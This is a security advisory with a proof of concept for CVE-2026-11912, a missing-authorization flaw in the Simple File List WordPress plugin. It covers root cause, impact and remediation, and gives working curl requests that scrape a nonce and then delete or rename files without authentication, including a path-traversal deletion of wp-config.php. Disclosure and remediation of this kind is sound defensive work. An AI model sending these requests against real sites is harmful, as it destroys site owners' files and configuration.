CVE-2026-11912: Simple File List <= 6.3.7 - Missing Authorization to Unauthenticated File Modification

Executive Summary

Vulnerability Details

Description

The Simple File List plugin for WordPress is vulnerable to arbitrary file modification due to insufficient authorization checks in all versions up to, and including, 6.3.7. This makes it possible for unauthenticated attackers to delete and modify files on the server.

Root Cause Analysis

The vulnerability exists because:

1. AJAX Endpoint Registration: The simplefilelist_edit_job AJAX action is registered with both wp_ajax_ and wp_ajax_nopriv_ hooks, allowing unauthenticated access:

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. Flawed Authorization Check: The authorization logic in eeSFL_FileEditor() (line 1265) uses:

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   The is_admin() function returns FALSE for AJAX requests, causing the authorization check to short-circuit before the AllowFrontManage setting is evaluated.

3. Nonce Exposure: The security nonce (eeSFL_ActionNonce) is generated using wp_create_nonce() and exposed in the frontend HTML source code, allowing attackers to extract it without authentication.

Impact Assessment

Confidentiality Impact: High

• File contents can be read through file listing
• File metadata exposed (names, sizes, dates)

Integrity Impact: High (CRITICAL)

• Unauthenticated file deletion
• Unauthenticated file renaming
• Unauthenticated file description modification
• Path traversal allows deletion of critical files (including wp-config.php)

Availability Impact: None

• File operations don't directly cause DoS, but can indirectly affect availability through file deletion

Real-World Exploitation Demonstrated

During testing, this vulnerability was successfully exploited to DELETE the WordPress configuration file (wp-config.php), completely breaking the site. This demonstrates the critical severity of the path traversal aspect of this vulnerability.

PoC Exploitation Steps

Step 1: Extract Nonce from Frontend

# Get the security nonce from the file list page
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2

Step 2: Unauthenticated File Delete

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# Response: SUCCESS

Step 3: Unauthenticated File Rename

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS

Step 4: Path Traversal (CRITICAL - Delete wp-config.php)

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# Response: SUCCESS (CRITICAL - This breaks the site!)

Remediation

Immediate Actions

1. Update Plugin: Upgrade to Simple File List version 6.3.8 or higher
2. Check for Compromise: Audit file system for unauthorized modifications
3. Restore Backups: If wp-config.php was affected, restore from backup

Temporary Mitigations (if update not immediately possible)

1. Disable the Simple File List plugin until patched
2. Remove any pages containing the [eeSFL] shortcode
3. Implement WAF rules to block suspicious AJAX requests:
   root@kitploit:~

   # Block simplefilelist_edit_job AJAX calls
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

Long-term Recommendations

• Implement request origin validation (CSRF protection)
• Add capability checks for all file operations
• Rate limit AJAX endpoints
• Monitor logs for suspicious file operations

References

• Wordfence Intelligence
• Simple File List Plugin Page
• Plugin SVN Trunk

Testing Environment

• Lab: DDEV poloss-lab
• URL: https://poloss-lab.ddev.site
• Plugin Version Tested: 6.3.7
• WordPress Version: Latest (PHP 8.4)

Report generated by Claude Code - WordPress Security Testing Lab Date: June 20, 2026